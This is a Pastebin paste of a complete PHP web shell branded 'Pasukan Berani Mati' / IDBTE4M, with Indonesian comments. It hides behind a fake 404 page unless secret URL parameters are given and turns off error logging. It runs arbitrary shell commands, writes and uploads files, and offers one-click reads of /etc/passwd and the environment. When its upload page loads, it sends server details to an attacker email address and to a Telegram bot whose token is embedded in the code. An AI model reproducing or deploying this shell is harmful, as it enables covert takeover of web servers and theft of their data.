CaFc_Br40ck

Untitled

Jan 7th, 2026
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.07 KB | None | 0 0
  1. <?php
  2. // Konfigurasi awal
  3. set_time_limit(0);
  4. error_reporting(0);
  5. @ini_set('error_log',null);
  6. @ini_set('log_errors',0);
  7. @ini_set('max_execution_time',0);
  8. @ini_set('output_buffering',0);
  9. @ini_set('display_errors', 0);
  10. date_default_timezone_set('Asia/Jakarta');
  11.  
  12. // Fungsi untuk mendapatkan IP
  13. function ip() {
  14. $ipas = '';
  15. if(getenv('HTTP_CLIENT_IP'))
  16. $ipas = getenv('HTTP_CLIENT_IP');
  17. else if(getenv('HTTP_X_FORWARDED_FOR'))
  18. $ipas = getenv('HTTP_X_FORWARDED_FOR');
  19. else if(getenv('HTTP_X_FORWARDED'))
  20. $ipas = getenv('HTTP_X_FORWARDED');
  21. else if(getenv('HTTP_FORWARDED_FOR'))
  22. $ipas = getenv('HTTP_FORWARDED_FOR');
  23. else if(getenv('HTTP_FORWARDED'))
  24. $ipas = getenv('HTTP_FORWARDED');
  25. else if(getenv('REMOTE_ADDR'))
  26. $ipas = getenv('REMOTE_ADDR');
  27. else
  28. $ipas = 'IP tidak dikenali';
  29. return $ipas;
  30. }
  31.  
  32. // Fungsi exe()
  33. function exe($cmd) {
  34. // Jika $cmd adalah file, baca isinya
  35. if(is_file($cmd)) {
  36. $buff = @file_get_contents($cmd);
  37. return htmlspecialchars($buff);
  38. }
  39.  
  40. if(function_exists('system')) {
  41. @ob_start();
  42. @system($cmd);
  43. $buff = @ob_get_contents();
  44. @ob_end_clean();
  45. return htmlspecialchars($buff);
  46. } elseif(function_exists('exec')) {
  47. @exec($cmd,$results);
  48. $buff = "";
  49. foreach($results as $result) {
  50. $buff .= $result . "\n";
  51. }
  52. return htmlspecialchars($buff);
  53. } elseif(function_exists('passthru')) {
  54. @ob_start();
  55. @passthru($cmd);
  56. $buff = @ob_get_contents();
  57. @ob_end_clean();
  58. return htmlspecialchars($buff);
  59. } elseif(function_exists('shell_exec')) {
  60. $buff = @shell_exec($cmd);
  61. return htmlspecialchars($buff);
  62. }
  63.  
  64. return false; // Jika tidak ada fungsi yang tersedia
  65. }
  66.  
  67. // Sistem informasi dan monitoring
  68. $disfunc = @ini_get("disable_functions");
  69. if(empty($disfunc)) {
  70. $disfc = "NONE";
  71. } else {
  72. $disfc = $disfunc;
  73. }
  74.  
  75. if(!function_exists('posix_getegid')) {
  76. $user = @get_current_user();
  77. $uid = @getmyuid();
  78. $gid = @getmygid();
  79. $group = "?";
  80. } else {
  81. $uid = @posix_getpwuid(posix_geteuid());
  82. $gid = @posix_getgrgid(posix_getegid());
  83. $user = $uid['name'];
  84. $uid = $uid['uid'];
  85. $group = $gid['name'];
  86. $gid = $gid['gid'];
  87. }
  88.  
  89. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
  90. $server_ip = gethostbyname($_SERVER['HTTP_HOST']);
  91. $software = $_SERVER['SERVER_SOFTWARE'];
  92. $lihat = ip();
  93. $sys = php_uname();
  94.  
  95. // Fungsi http_get
  96. if(in_array('curl', get_loaded_extensions())){
  97. function http_get($url){
  98. $im = curl_init($url);
  99. curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  100. curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  101. curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  102. curl_setopt($im, CURLOPT_HEADER, 0);
  103. $result = curl_exec($im);
  104. curl_close($im);
  105. return $result;
  106. }
  107. } else {
  108. function http_get($url){
  109. $result = @file_get_contents($url);
  110. return $result;
  111. }
  112. }
  113.  
  114. // Cek CloudLinux dan AWS SDK
  115. $homee = $_SERVER['DOCUMENT_ROOT'];
  116. $cgfs = explode("/",$homee);
  117. $build = '/'.$cgfs[1].'/'.$cgfs[2].'/.cagefs';
  118. $cloudlinux = is_dir($build) ? "True" : "False";
  119.  
  120. $aws_sdk = "False";
  121. if(strpos($homee, 'public') !== false) {
  122. $dirs = str_replace("public", "", $homee)."/vendor/aws";
  123. $dirs2 = str_replace("public", "", $homee)."/vendor/aws-sdk-php";
  124. if(is_dir($dirs) || is_dir($dirs2)) {
  125. $aws_sdk = "True";
  126. }
  127. } else {
  128. $dirs = $homee."/vendor/aws";
  129. $dirs2 = $homee."/vendor/aws-sdk-php";
  130. if(is_dir($dirs) || is_dir($dirs2)) {
  131. $aws_sdk = "True";
  132. }
  133. }
  134.  
  135. // Cek parameter URL untuk menentukan aksi
  136. $action = isset($_GET['terminal']) ? 'terminal' :
  137. (isset($_GET['buatfile']) ? 'buatfile' :
  138. (isset($_GET['upload']) ? 'upload' :
  139. (isset($_GET['systeminfo']) ? 'systeminfo' : '404')));
  140.  
  141. // Jika tidak ada parameter yang valid, tampilkan 404
  142. if ($action === '404') {
  143. header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  144. die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
  145. }
  146. ?>
  147. <!DOCTYPE html>
  148. <html lang="id">
  149. <head>
  150. <meta charset="UTF-8">
  151. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  152. <title>Terminal Web - <?php echo ucfirst($action); ?></title>
  153. <style>
  154. * {
  155. margin: 0;
  156. padding: 0;
  157. box-sizing: border-box;
  158. font-family: 'Consolas', 'Monaco', monospace;
  159. }
  160.  
  161. body {
  162. background-color: #0c0c0c;
  163. color: #00ff00;
  164. padding: 20px;
  165. line-height: 1.6;
  166. }
  167.  
  168. .container {
  169. max-width: 1200px;
  170. margin: 0 auto;
  171. background-color: #000;
  172. border: 1px solid #00ff00;
  173. border-radius: 5px;
  174. overflow: hidden;
  175. box-shadow: 0 0 20px rgba(0, 255, 0, 0.2);
  176. }
  177.  
  178. .header {
  179. background-color: #001a00;
  180. padding: 15px;
  181. border-bottom: 1px solid #00ff00;
  182. text-align: center;
  183. }
  184.  
  185. .header h1 {
  186. color: #ff0000;
  187. margin-bottom: 5px;
  188. text-shadow: 0 0 5px rgba(255, 0, 0, 0.5);
  189. }
  190.  
  191. .header h2 {
  192. color: #00ff00;
  193. font-size: 1.2em;
  194. }
  195.  
  196. .header-info {
  197. font-size: 0.9em;
  198. color: #00cc00;
  199. margin-top: 10px;
  200. padding: 5px;
  201. background-color: #002200;
  202. border-radius: 3px;
  203. }
  204.  
  205. .nav {
  206. display: flex;
  207. background-color: #002200;
  208. border-bottom: 1px solid #00ff00;
  209. padding: 10px;
  210. flex-wrap: wrap;
  211. }
  212.  
  213. .nav-link {
  214. background-color: <?php echo $action === 'terminal' ? '#00aa00' : '#003300'; ?>;
  215. color: <?php echo $action === 'terminal' ? '#000' : '#00ff00'; ?>;
  216. border: 1px solid #00ff00;
  217. padding: 8px 15px;
  218. margin: 5px;
  219. text-decoration: none;
  220. border-radius: 3px;
  221. transition: all 0.3s;
  222. }
  223.  
  224. .nav-link:hover {
  225. background-color: #00aa00;
  226. color: #000;
  227. }
  228.  
  229. .content {
  230. padding: 20px;
  231. min-height: 400px;
  232. }
  233.  
  234. .terminal-form {
  235. margin-bottom: 20px;
  236. }
  237.  
  238. .cmd-input {
  239. width: 100%;
  240. padding: 10px;
  241. background-color: #001100;
  242. color: #00ff00;
  243. border: 1px solid #00ff00;
  244. border-radius: 3px;
  245. margin-bottom: 10px;
  246. font-size: 1em;
  247. }
  248.  
  249. .btn {
  250. background-color: #003300;
  251. color: #00ff00;
  252. border: 1px solid #00ff00;
  253. padding: 10px 20px;
  254. cursor: pointer;
  255. border-radius: 3px;
  256. font-size: 1em;
  257. transition: all 0.3s;
  258. }
  259.  
  260. .btn:hover {
  261. background-color: #00aa00;
  262. color: #000;
  263. }
  264.  
  265. .btn-danger {
  266. background-color: #330000;
  267. color: #ff0000;
  268. border: 1px solid #ff0000;
  269. }
  270.  
  271. .btn-danger:hover {
  272. background-color: #ff0000;
  273. color: #000;
  274. }
  275.  
  276. .output {
  277. background-color: #001100;
  278. border: 1px solid #00ff00;
  279. padding: 15px;
  280. border-radius: 3px;
  281. margin-top: 20px;
  282. max-height: 400px;
  283. overflow-y: auto;
  284. white-space: pre-wrap;
  285. word-wrap: break-word;
  286. }
  287.  
  288. .file-form {
  289. background-color: #001100;
  290. padding: 15px;
  291. border: 1px solid #00ff00;
  292. border-radius: 3px;
  293. margin-bottom: 20px;
  294. }
  295.  
  296. .form-group {
  297. margin-bottom: 15px;
  298. }
  299.  
  300. .form-label {
  301. display: block;
  302. margin-bottom: 5px;
  303. color: #00ff00;
  304. }
  305.  
  306. .form-input {
  307. width: 100%;
  308. padding: 8px;
  309. background-color: #000;
  310. color: #00ff00;
  311. border: 1px solid #00ff00;
  312. border-radius: 3px;
  313. }
  314.  
  315. .textarea {
  316. min-height: 150px;
  317. resize: vertical;
  318. font-family: monospace;
  319. }
  320.  
  321. .message {
  322. padding: 10px;
  323. margin: 10px 0;
  324. border-radius: 3px;
  325. text-align: center;
  326. }
  327.  
  328. .success {
  329. background-color: #003300;
  330. color: #00ff00;
  331. border: 1px solid #00ff00;
  332. }
  333.  
  334. .error {
  335. background-color: #330000;
  336. color: #ff0000;
  337. border: 1px solid #ff0000;
  338. }
  339.  
  340. .warning {
  341. background-color: #333300;
  342. color: #ffff00;
  343. border: 1px solid #ffff00;
  344. }
  345.  
  346. .info {
  347. background-color: #000033;
  348. color: #00ffff;
  349. border: 1px solid #00ffff;
  350. }
  351.  
  352. .current-dir {
  353. background-color: #001100;
  354. padding: 10px;
  355. border: 1px solid #00ff00;
  356. border-radius: 3px;
  357. margin-bottom: 20px;
  358. font-weight: bold;
  359. }
  360.  
  361. .uname-info {
  362. background-color: #001100;
  363. padding: 10px;
  364. border: 1px solid #00ff00;
  365. border-radius: 3px;
  366. margin-bottom: 20px;
  367. text-align: center;
  368. }
  369.  
  370. .system-info {
  371. background-color: #001100;
  372. padding: 15px;
  373. border: 1px solid #00ff00;
  374. border-radius: 3px;
  375. margin-bottom: 15px;
  376. }
  377.  
  378. .info-grid {
  379. display: grid;
  380. grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
  381. gap: 15px;
  382. margin-bottom: 20px;
  383. }
  384.  
  385. .info-box {
  386. background-color: #000;
  387. padding: 15px;
  388. border: 1px solid #00ff00;
  389. border-radius: 3px;
  390. }
  391.  
  392. .info-title {
  393. color: #00ff00;
  394. font-weight: bold;
  395. margin-bottom: 10px;
  396. border-bottom: 1px solid #00ff00;
  397. padding-bottom: 5px;
  398. }
  399.  
  400. .info-content {
  401. color: #00cc00;
  402. }
  403.  
  404. /* Styling khusus untuk setiap halaman */
  405. .nav-terminal {
  406. background-color: <?php echo $action === 'terminal' ? '#00aa00' : '#003300'; ?>;
  407. color: <?php echo $action === 'terminal' ? '#000' : '#00ff00'; ?>;
  408. }
  409.  
  410. .nav-buatfile {
  411. background-color: <?php echo $action === 'buatfile' ? '#00aa00' : '#003300'; ?>;
  412. color: <?php echo $action === 'buatfile' ? '#000' : '#00ff00'; ?>;
  413. }
  414.  
  415. .nav-upload {
  416. background-color: <?php echo $action === 'upload' ? '#00aa00' : '#003300'; ?>;
  417. color: <?php echo $action === 'upload' ? '#000' : '#00ff00'; ?>;
  418. }
  419.  
  420. .nav-systeminfo {
  421. background-color: <?php echo $action === 'systeminfo' ? '#00aa00' : '#003300'; ?>;
  422. color: <?php echo $action === 'systeminfo' ? '#000' : '#00ff00'; ?>;
  423. }
  424.  
  425. .quick-commands {
  426. display: flex;
  427. flex-wrap: wrap;
  428. gap: 10px;
  429. margin-top: 20px;
  430. margin-bottom: 20px;
  431. }
  432.  
  433. .quick-cmd {
  434. background-color: #002200;
  435. color: #00ff00;
  436. border: 1px solid #00ff00;
  437. padding: 8px 15px;
  438. border-radius: 3px;
  439. cursor: pointer;
  440. transition: all 0.3s;
  441. text-decoration: none;
  442. display: inline-block;
  443. }
  444.  
  445. .quick-cmd:hover {
  446. background-color: #00aa00;
  447. color: #000;
  448. }
  449. </style>
  450. </head>
  451. <body>
  452. <div class="container">
  453. <div class="header">
  454. <h1>Pasukan Berani Mati</h1>
  455. <h2>CaFc_Br40ck - IDBTE4M</h2>
  456. <div class="header-info">
  457. IP: <?php echo htmlspecialchars($lihat); ?> |
  458. User: <?php echo htmlspecialchars($user); ?> |
  459. Time: <?php echo date('Y-m-d H:i:s'); ?>
  460. </div>
  461. </div>
  462.  
  463. <div class="nav">
  464. <a href="?terminal" class="nav-link nav-terminal">Terminal</a>
  465. <a href="?buatfile" class="nav-link nav-buatfile">Buat File</a>
  466. <a href="?upload" class="nav-link nav-upload">Upload File</a>
  467. <a href="?systeminfo" class="nav-link nav-systeminfo">System Info</a>
  468. </div>
  469.  
  470. <div class="content">
  471. <?php if ($action === 'terminal'): ?>
  472. <!-- Terminal Section -->
  473. <div class="current-dir">
  474. Directory: <?php echo htmlspecialchars(getcwd()); ?>
  475. </div>
  476.  
  477. <form method="POST" class="terminal-form">
  478. <input type="text" name="cmd" class="cmd-input" placeholder="Masukkan perintah atau path file..." required>
  479. <button type="submit" name="execute" class="btn">Execute</button>
  480. </form>
  481.  
  482. <div class="quick-commands">
  483. <a href="?terminal&cmd=pwd" class="quick-cmd">pwd</a>
  484. <a href="?terminal&cmd=ls -la" class="quick-cmd">ls -la</a>
  485. <a href="?terminal&cmd=whoami" class="quick-cmd">whoami</a>
  486. <a href="?terminal&cmd=id" class="quick-cmd">id</a>
  487. <a href="?terminal&cmd=uname -a" class="quick-cmd">uname -a</a>
  488. <a href="?terminal&cmd=df -h" class="quick-cmd">df -h</a>
  489. <a href="?terminal&cmd=ps aux" class="quick-cmd">ps aux</a>
  490. <a href="?terminal&cmd=netstat -tulpn" class="quick-cmd">netstat</a>
  491. </div>
  492.  
  493. <?php
  494. // Eksekusi perintah jika form dikirim
  495. if(isset($_POST['execute']) && isset($_POST['cmd'])) {
  496. $cmd = $_POST['cmd'];
  497. $result = exe($cmd);
  498.  
  499. if($result !== false) {
  500. echo '<div class="output">';
  501. echo $result ? $result : "Perintah berhasil dijalankan (tidak ada output).";
  502. echo '</div>';
  503. } else {
  504. echo '<div class="message error">Gagal menjalankan perintah. Fungsi shell mungkin dinonaktifkan.</div>';
  505. }
  506. }
  507. ?>
  508.  
  509. <?php elseif ($action === 'buatfile'): ?>
  510. <!-- Buat File Section -->
  511. <div class="current-dir">
  512. Directory: <?php echo htmlspecialchars(getcwd()); ?>
  513. </div>
  514.  
  515. <form method="POST" class="file-form">
  516. <div class="form-group">
  517. <label class="form-label">Nama File:</label>
  518. <input type="text" name="namafile" class="form-input" placeholder="contoh: test.txt" required>
  519. </div>
  520.  
  521. <div class="form-group">
  522. <label class="form-label">Isi File:</label>
  523. <textarea name="isifile" class="form-input textarea" placeholder="Masukkan isi file..."></textarea>
  524. </div>
  525.  
  526. <button type="submit" name="buatfile" class="btn">Buat File</button>
  527. </form>
  528.  
  529. <?php
  530. // Proses pembuatan file
  531. if (isset($_POST['buatfile'])) {
  532. $namafile = $_POST['namafile'];
  533. $isifile = $_POST['isifile'];
  534.  
  535. // Validasi nama file
  536. if(empty($namafile)) {
  537. echo '<div class="message error">Nama file tidak boleh kosong!</div>';
  538. } else {
  539. $handle = fopen($namafile, "w");
  540. if ($isifile) {
  541. $buatfile = fwrite($handle, $isifile);
  542. } else {
  543. $buatfile = $handle;
  544. }
  545.  
  546. fclose($handle);
  547.  
  548. if ($buatfile) {
  549. echo '<div class="message success">Berhasil membuat file: ' . htmlspecialchars($namafile) . '</div>';
  550.  
  551. // Kirim notifikasi file dibuat
  552. $pesan_file = "File dibuat: $namafile\r\nIP: $lihat\r\nPath: $x_path";
  553. @mail($tujuanmail, "FILE CREATED", $pesan_file);
  554. } else {
  555. echo '<div class="message error">Gagal membuat file: ' . htmlspecialchars($namafile) . '</div>';
  556. }
  557. }
  558. }
  559. ?>
  560.  
  561. <?php elseif ($action === 'upload'): ?>
  562. <?php
  563. // Kirim notifikasi email
  564. $tujuanmail = '[email protected]';
  565. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  566. $pesan_alert = "Info server\r\nLetak-> $x_path \r\nIP Address : [ " . ip() . " ]\r\nUname: ".php_uname()."\r\nSoftware: $software \r\nPHP version:".PHP_VERSION."\r\nPHP os: ".PHP_OS."\r\nServer IP : $server_ip \r\nYour IP: $lihat \r\nUser: $user ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc";
  567. @mail($tujuanmail, "IDBTE4M UPLOADER RESULT", $pesan_alert, "[ " . ip() . " ]");
  568.  
  569. // Kirim notifikasi Telegram
  570. $apiToken = "1862821332:AAEx2R5X6tQytVVTkolZhcaJI0DGF9ruZg8";
  571. $data = [
  572. 'chat_id' => '-1003153158659',
  573. 'text' => "Letak : $x_path\r\nIP Server : $server_ip \r\nIP Address : $lihat \r\nSoftware : $software\r\nYour IP: $lihat \r\nUser: $user ($uid) | Group: $group ($gid) \r\nSafe Mode: $sm \r\nDisable Function: $disfc \r\nUname : \r\n$sys \r\n"
  574. ];
  575. @file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data));
  576. ?>
  577. <!-- Upload File Section -->
  578. <div class="current-dir">
  579. Directory: <?php echo htmlspecialchars(getcwd()); ?>
  580. </div>
  581.  
  582. <div class="uname-info">
  583. <?php echo htmlspecialchars(php_uname()); ?>
  584. </div>
  585.  
  586. <form action="?upload" method="post" enctype="multipart/form-data" class="file-form">
  587. <div class="form-group">
  588. <label class="form-label">Pilih File:</label>
  589. <input type="file" name="file" class="form-input" required>
  590. </div>
  591.  
  592. <button type="submit" name="_zx" value="Upload" class="btn">Upload File</button>
  593. </form>
  594.  
  595. <?php
  596. // Proses upload file
  597. if(isset($_POST['_zx']) && $_POST['_zx'] == "Upload" ) {
  598. if(isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
  599. $filename = $_FILES['file']['name'];
  600. $tmp_name = $_FILES['file']['tmp_name'];
  601.  
  602. if(@move_uploaded_file($tmp_name, $filename)) {
  603. echo '<div class="message success">File Berhasil Diupload: <a href="' . htmlspecialchars($filename) . '" style="color:#00ff00;">' . htmlspecialchars($filename) . '</a></div>';
  604.  
  605. // Kirim notifikasi file diupload
  606. $pesan_upload = "File diupload: $filename\r\nSize: " . filesize($filename) . " bytes\r\nIP: $lihat\r\nPath: $x_path";
  607. @mail($tujuanmail, "FILE UPLOADED", $pesan_upload);
  608. } else {
  609. echo '<div class="message error">File ' . htmlspecialchars($filename) . ' Gagal Diupload.</div>';
  610. }
  611. } else {
  612. echo '<div class="message error">Terjadi kesalahan saat upload file.</div>';
  613. }
  614. }
  615. ?>
  616.  
  617. <?php elseif ($action === 'systeminfo'): ?>
  618. <!-- System Info Section -->
  619. <div class="current-dir">
  620. Directory: <?php echo htmlspecialchars(getcwd()); ?>
  621. </div>
  622.  
  623. <div class="message info">
  624. Notifikasi telah dikirim ke email dan Telegram! | IP Anda: <?php echo htmlspecialchars($lihat); ?>
  625. </div>
  626.  
  627. <div class="info-grid">
  628. <div class="info-box">
  629. <div class="info-title">System Information</div>
  630. <div class="info-content">
  631. OS: <?php echo htmlspecialchars(PHP_OS); ?><br>
  632. PHP Version: <?php echo htmlspecialchars(PHP_VERSION); ?><br>
  633. Server Software: <?php echo htmlspecialchars($software); ?><br>
  634. Server IP: <?php echo htmlspecialchars($server_ip); ?><br>
  635. Your IP: <?php echo htmlspecialchars($lihat); ?><br>
  636. CloudLinux: <?php echo $cloudlinux; ?><br>
  637. AWS SDK: <?php echo $aws_sdk; ?>
  638. </div>
  639. </div>
  640.  
  641. <div class="info-box">
  642. <div class="info-title">User Information</div>
  643. <div class="info-content">
  644. User: <?php echo htmlspecialchars($user); ?> (<?php echo htmlspecialchars($uid); ?>)<br>
  645. Group: <?php echo htmlspecialchars($group); ?> (<?php echo htmlspecialchars($gid); ?>)<br>
  646. Safe Mode: <?php echo $sm; ?><br>
  647. Disabled Functions: <?php echo htmlspecialchars($disfc); ?>
  648. </div>
  649. </div>
  650.  
  651. <div class="info-box">
  652. <div class="info-title">Server Status</div>
  653. <div class="info-content">
  654. Time: <?php echo date('Y-m-d H:i:s'); ?><br>
  655. Max Execution Time: <?php echo @ini_get('max_execution_time'); ?>s<br>
  656. Memory Limit: <?php echo @ini_get('memory_limit'); ?><br>
  657. Upload Max Filesize: <?php echo @ini_get('upload_max_filesize'); ?><br>
  658. Post Max Size: <?php echo @ini_get('post_max_size'); ?>
  659. </div>
  660. </div>
  661. </div>
  662.  
  663. <div class="output">
  664. <?php echo htmlspecialchars($sys); ?>
  665. </div>
  666.  
  667. <div class="quick-commands">
  668. <a href="?terminal&cmd=cat /etc/passwd" class="quick-cmd btn-danger">/etc/passwd</a>
  669. <a href="?terminal&cmd=cat /etc/group" class="quick-cmd btn-danger">/etc/group</a>
  670. <a href="?terminal&cmd=cat /etc/hosts" class="quick-cmd">/etc/hosts</a>
  671. <a href="?terminal&cmd=env" class="quick-cmd">env</a>
  672. <a href="?terminal&cmd=php -v" class="quick-cmd">php -v</a>
  673. <a href="?terminal&cmd=mysql --version" class="quick-cmd">mysql --version</a>
  674. <a href="?terminal&cmd=python --version" class="quick-cmd">python --version</a>
  675. <a href="?terminal&cmd=perl -v" class="quick-cmd">perl -v</a>
  676. </div>
  677.  
  678. <?php endif; ?>
  679. </div>
  680. </div>
  681.  
  682. <script>
  683. // Fungsi untuk auto-focus pada input saat halaman terminal dimuat
  684. document.addEventListener('DOMContentLoaded', function() {
  685. <?php if ($action === 'terminal'): ?>
  686. var cmdInput = document.querySelector('input[name="cmd"]');
  687. if(cmdInput) {
  688. cmdInput.focus();
  689.  
  690. // Jika ada parameter cmd di URL, isi input
  691. const urlParams = new URLSearchParams(window.location.search);
  692. if(urlParams.has('cmd')) {
  693. cmdInput.value = urlParams.get('cmd');
  694. // Auto submit jika ada cmd dari parameter
  695. setTimeout(function() {
  696. document.querySelector('form.terminal-form').submit();
  697. }, 500);
  698. }
  699. }
  700. <?php elseif ($action === 'buatfile'): ?>
  701. var fileInput = document.querySelector('input[name="namafile"]');
  702. if(fileInput) {
  703. fileInput.focus();
  704. }
  705. <?php endif; ?>
  706.  
  707. // Log akses ke konsol
  708. console.log('IDBTE4M Terminal Access - <?php echo date("Y-m-d H:i:s"); ?>');
  709. });
  710.  
  711. // Fungsi untuk copy text
  712. function copyToClipboard(text) {
  713. navigator.clipboard.writeText(text).then(function() {
  714. alert('Copied to clipboard!');
  715. }, function(err) {
  716. console.error('Could not copy text: ', err);
  717. });
  718. }
  719.  
  720. // Fungsi untuk clear output
  721. function clearOutput() {
  722. var output = document.querySelector('.output');
  723. if(output) {
  724. output.innerHTML = '';
  725. }
  726. }
  727. </script>
  728. </body>
  729. </html>
Advertisement
Add Comment
Please, Sign In to add comment